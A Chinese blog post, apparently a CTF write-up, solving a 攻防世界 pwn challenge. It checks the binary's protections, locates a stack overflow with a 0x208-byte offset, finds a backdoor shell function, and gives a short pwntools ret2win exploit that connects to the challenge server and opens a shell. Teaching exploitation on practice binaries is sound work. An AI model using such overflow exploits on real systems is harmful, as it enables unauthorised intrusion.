pwn刷题num14-----栈溢出

61 篇文章 1 订阅
17 篇文章 0 订阅

攻防世界pwn进阶区反应釜开关控制

在这里插入图片描述
首先查保护–>看链接类型–>赋予程序可执行权限–>试运行
在这里插入图片描述

64位,小端序
开启部分RELRO---got表仍可写
未开启canary保护---存在栈溢出
开启NX保护----注入的shellcode不可执行
未开启PIE----程序地址为真实地址
动态链接

ida一下
在这里插入图片描述
发现栈溢出(灰色部分)
查看栈区,v5距离返回地址0x208字节(0x200+0x8)
在这里插入图片描述
在这里插入图片描述
查找有没有后门函数,发现一个shell函数
在这里插入图片描述

在这里插入图片描述
exp

from pwn import *
context(os = 'linux',endian = 'little',arch = 'amd64',log_level = 'debug')
sh = remote('111.200.241.244',60132)
shell = 0x4005F6
payload = flat(['a' * 0x208,p64(shell)])
sh.sendline(payload)
sh.interactive()

运行获得flag
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值